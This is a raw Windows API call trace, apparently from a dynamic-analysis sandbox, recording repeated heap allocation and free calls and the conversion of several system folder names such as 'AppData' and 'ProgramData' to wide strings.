[0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d258 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d268 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d278 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c240 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d288 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x24bc08 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d298 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c168 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1b0 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2c8 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5e8) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d248) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c630) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d238) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c678) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d228) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c6c0) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d218) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c708) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d208) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c750) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d1e8) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c798) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d1f8) returned 1 [0184.401] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x8d5058 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1f8 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c798 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1e8 [0184.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c750 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d208 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c708 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d218 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c6c0 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d228 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c678 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d238 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c630 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d248 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5e8 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d258) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d268) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c240) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d278) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d288) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c168) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d298) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1b0) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2d8) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1f8) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2c8) returned 1 [0184.402] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bc08) returned 1 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x24bc08 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2c8 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1b0 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d298 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c168 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d288 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d278 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c240 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d268 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d258 [0184.402] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c798) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d1f8) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c750) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d1e8) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c708) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d208) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c6c0) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d218) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c678) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d228) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c630) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d238) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5e8) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d248) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0184.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dae0 [0184.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c1f8, cbMultiByte=25, lpWideCharStr=0x24dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24db68 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dae0) returned 1 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d248 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dae0 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24db68) returned 1 [0184.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24db68 [0184.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c1b0, cbMultiByte=12, lpWideCharStr=0x24db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dbf0 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24db68) returned 1 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d238 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24db68 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dbf0) returned 1 [0184.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dbf0 [0184.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c168, cbMultiByte=8, lpWideCharStr=0x24dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dc78 [0184.403] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dbf0) returned 1 [0184.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d228 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dbf0 [0184.404] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dc78) returned 1 [0184.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dc78 [0184.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c120, cbMultiByte=6, lpWideCharStr=0x24dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dd00 [0184.404] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dc78) returned 1 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d218 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dc78 [0184.404] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dd00) returned 1 [0184.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dd00 [0184.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c240, cbMultiByte=11, lpWideCharStr=0x24dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dd88 [0184.404] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dd00) returned 1 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x24dd00 [0184.404] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d208 [0184.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24de28 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dd88) returned 1 [0184.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24deb0 [0184.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c0d8, cbMultiByte=7, lpWideCharStr=0x24deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24df38 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24deb0) returned 1 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1e8 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24deb0 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24df38) returned 1 [0184.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24df38 [0184.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c288, cbMultiByte=11, lpWideCharStr=0x24df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dfc0 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24df38) returned 1 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1f8 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24df38 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dfc0) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1f8) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2c8) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1b0) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2d8) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c168) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d298) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d288) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c240) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d278) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d268) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d258) returned 1 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bc08) returned 1 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.405] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.405] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d258 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d258) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d258 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d268 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c240 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d278 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d288 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d618 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d298 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c168 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1b0 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2c8 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2e8 [0184.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5e8 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d258) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c240) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d268) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d278) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.406] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d288) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d288 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d278 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d268 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c240 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d258 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c168) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d298) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1b0) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2d8) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1f8) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2c8) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5e8) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2e8) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d618) returned 1 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d618 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2e8 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5e8 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2c8 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1b0 [0184.407] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d298 [0184.407] 